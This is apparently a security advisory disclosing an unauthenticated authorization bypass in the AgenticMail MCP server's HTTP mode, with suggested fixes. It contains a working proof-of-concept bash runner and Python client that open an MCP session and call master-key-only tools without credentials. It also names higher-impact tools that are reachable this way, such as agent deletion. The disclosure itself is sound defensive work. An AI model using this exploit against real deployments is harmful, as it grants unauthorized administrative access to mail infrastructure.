"details": "# AgenticMail MCP HTTP authorization bypass\n\n## Summary\n\n`@agenticmail/mcp` exposes a Streamable HTTP transport when started with\n`--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests\nwithout any HTTP authentication layer. A remote client can initialize a\nsession and call tools directly.\n\nThe problem is that the MCP server also exposes tools documented as requiring\n`AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its\nown configured master key. As a result, any client that can reach the MCP HTTP\nport can invoke master-only operations without knowing the master key.\n\n## Impact\n\nAn unauthenticated network client can invoke master-key-only MCP tools through\nthe server, including administrative and gateway actions.\n\nConfirmed with a read-only tool:\n\n- `setup_guide`\n\nThe same path reaches higher-impact tools such as:\n\n- `setup_email_relay`\n- `setup_email_domain`\n- `delete_agent`\n- `cleanup_agents`\n- `send_test_email`\n\n## Affected Code\n\n- `packages/mcp/src/index.ts`\n- `packages/mcp/src/tools.ts`\n- `packages/mcp/README.md`\n\nRelevant observations:\n\n- `packages/mcp/src/index.ts` starts an HTTP server for `/mcp` without\n checking an Authorization header.\n- `packages/mcp/src/tools.ts` marks gateway/admin tools as master-key tools\n and forwards them with the server-side `AGENTICMAIL_MASTER_KEY`.\n- `packages/mcp/README.md` documents that gateway/admin tools require the\n master key.\n\n## Reproduction\n\nUse the bundled one-command PoC runner:\n\n```bash\ncd agenticmail\n./scripts/run_agenticmail_mcp_http_unauth_poc.sh\n```\n\nExpected success output:\n\n```text\n[+] received mcp-session-id without authentication: ...\n[+] tools/call(setup_guide) HTTP status: 200\n[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`\n```\n\n## PoC Files\n\n- [scripts/run_agenticmail_mcp_http_unauth_poc.sh](scripts/run_agenticmail_mcp_http_unauth_poc.sh)\n - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the\n client PoC, and cleans up background processes.\n- [scripts/agenticmail_mcp_http_unauth_poc.py](scripts/agenticmail_mcp_http_unauth_poc.py)\n - Unauthenticated MCP client that sends `initialize` and then calls\n `setup_guide`.\n\n## Inline PoC\n\nThe following PoC is non-destructive. It calls `setup_guide`, which is\ndocumented as a master-key tool but only returns setup guidance.\n\n### `scripts/run_agenticmail_mcp_http_unauth_poc.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO_DIR=\".\"\nPOC=\"scripts/agenticmail_mcp_http_unauth_poc.py\"\n\nAPI_HOST=\"${API_HOST:-127.0.0.1}\"\nAPI_PORT=\"${API_PORT:-}\"\nMCP_PORT=\"${MCP_PORT:-}\"\nMASTER_KEY=\"${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}\"\nDATA_DIR=\"${AGENTICMAIL_DATA_DIR:-.poc-data}\"\nLOG_DIR=\"${LOG_DIR:-.poc-logs}\"\n\nmkdir -p \"$DATA_DIR\" \"$LOG_DIR\"\n\nnode_major=\"$(node -p 'Number(process.versions.node.split(\".\")[0])' 2>/dev/null || echo 0)\"\nif (( node_major < 20 )); then\n echo \"[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)\" >&2\n exit 2\nfi\n\nfind_free_port() {\n python3 - <<'PY'\nimport socket\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((\"127.0.0.1\", 0))\n print(sock.getsockname()[1])\nPY\n}\n\n[[ -n \"$API_PORT\" ]] || API_PORT=\"$(find_free_port)\"\n[[ -n \"$MCP_PORT\" ]] || MCP_PORT=\"$(find_free_port)\"\n\napi_pid=\"\"\nmcp_pid=\"\"\ncleanup() {\n set +e\n [[ -z \"${mcp_pid:-}\" ]] || kill \"$mcp_pid\" 2>/dev/null || true\n [[ -z \"${api_pid:-}\" ]] || kill \"$api_pid\" 2>/dev/null || true\n}\ntrap cleanup EXIT\n\nwait_tcp() {\n local host=\"$1\"\n local port=\"$2\"\n local name=\"$3\"\n for _ in $(seq 1 60); do\n if python3 - \"$host\" \"$port\" >/dev/null 2>&1 <<'PY'\nimport socket\nimport sys\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(1)\ntry:\n sock.connect((sys.argv[1], int(sys.argv[2])))\n sys.exit(0)\nexcept Exception:\n sys.exit(1)\nfinally:\n sock.close()\nPY\n then\n echo \"[+] $name is listening: $host:$port\"\n return 0\n fi\n sleep 1\n done\n echo \"[-] Timed out waiting for $name: $host:$port\" >&2\n return 1\n}\n\ncd \"$REPO_DIR\"\n\necho \"[+] Starting AgenticMail API on $API_HOST:$API_PORT\"\n(\n export AGENTICMAIL_API_HOST=\"$API_HOST\"\n export AGENTICMAIL_API_PORT=\"$API_PORT\"\n export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n npm run dev:api\n) >\"$LOG_DIR/api.log\" 2>&1 &\napi_pid=\"$!\"\nwait_tcp \"$API_HOST\" \"$API_PORT\" \"AgenticMail API\"\n\necho \"[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT\"\n(\n export AGENTICMAIL_API_URL=\"http://$API_HOST:$API_PORT\"\n export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n npm --workspace=@agenticmail/mcp run dev -- --http \"--port=$MCP_PORT\"\n) >\"$LOG_DIR/mcp.log\" 2>&1 &\nmcp_pid=\"$!\"\nwait_tcp \"127.0.0.1\" \"$MCP_PORT\" \"AgenticMail MCP HTTP server\"\n\necho \"[+] Running unauthenticated MCP client PoC\"\npython3 \"$POC\" --url \"http://127.0.0.1:$MCP_PORT/mcp\"\n```\n\n### `scripts/agenticmail_mcp_http_unauth_poc.py`\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport sys\nimport urllib.error\nimport urllib.request\n\n\ndef post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:\n data = json.dumps(payload).encode(\"utf-8\")\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n if session_id:\n headers[\"mcp-session-id\"] = session_id\n\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=15) as resp:\n body = resp.read().decode(\"utf-8\", errors=\"replace\")\n return resp.status, dict(resp.headers), body\n except urllib.error.HTTPError as exc:\n body = exc.read().decode(\"utf-8\", errors=\"replace\")\n return exc.code, dict(exc.headers), body\n\n\ndef parse_sse_or_json(body: str) -> list[dict]:\n events: list[dict] = []\n stripped = body.strip()\n if not stripped:\n return events\n if stripped.startswith(\"{\") or stripped.startswith(\"[\"):\n parsed = json.loads(stripped)\n return parsed if isinstance(parsed, list) else [parsed]\n for line in body.splitlines():\n if not line.startswith(\"data:\"):\n continue\n data = line[len(\"data:\") :].strip()\n if not data:\n continue\n try:\n events.append(json.loads(data))\n except json.JSONDecodeError:\n pass\n return events\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--url\", default=\"http://127.0.0.1:8014/mcp\")\n parser.add_argument(\"--tool\", default=\"setup_guide\")\n args = parser.parse_args()\n\n init_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2025-03-26\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"agenticmail-unauth-poc\", \"version\": \"0.1\"},\n },\n }\n\n status, headers, body = post_json(args.url, init_payload)\n print(f\"[+] initialize HTTP status: {status}\")\n print(f\"[+] initialize response body: {body[:500]}\")\n session_id = headers.get(\"mcp-session-id\") or headers.get(\"Mcp-Session-Id\")\n if not session_id:\n print(\"[-] No mcp-session-id header returned\")\n return 2\n print(f\"[+] received mcp-session-id without authentication: {session_id}\")\n\n post_json(args.url, {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {},\n }, session_id=session_id)\n\n status, _headers, body = post_json(args.url, {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\"name\": args.tool, \"arguments\": {}},\n }, session_id=session_id)\n print(f\"[+] tools/call({args.tool}) HTTP status: {status}\")\n print(\"[+] raw response:\")\n print(body)\n\n if any(\"result\" in msg for msg in parse_sse_or_json(body)):\n print(f\"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`\")\n return 0\n\n print(\"[-] Tool call did not return a result\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\n## Why This Is a Vulnerability\n\nThe project treats `AGENTICMAIL_MASTER_KEY` as the authorization boundary for\nadministrative and gateway operations. HTTP MCP mode removes the client-side\nauthentication boundary entirely, so an unauthenticated network client becomes\nan indirect caller of master-only API functionality.\n\n\n## Suggested Fix\n\n- Require authentication for HTTP MCP mode.\n- Bind the MCP HTTP server to `127.0.0.1` by default.\n- Reject `/mcp` requests that lack a valid bearer token or shared secret.\n- Disable master-key tools when the transport is unauthenticated.",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments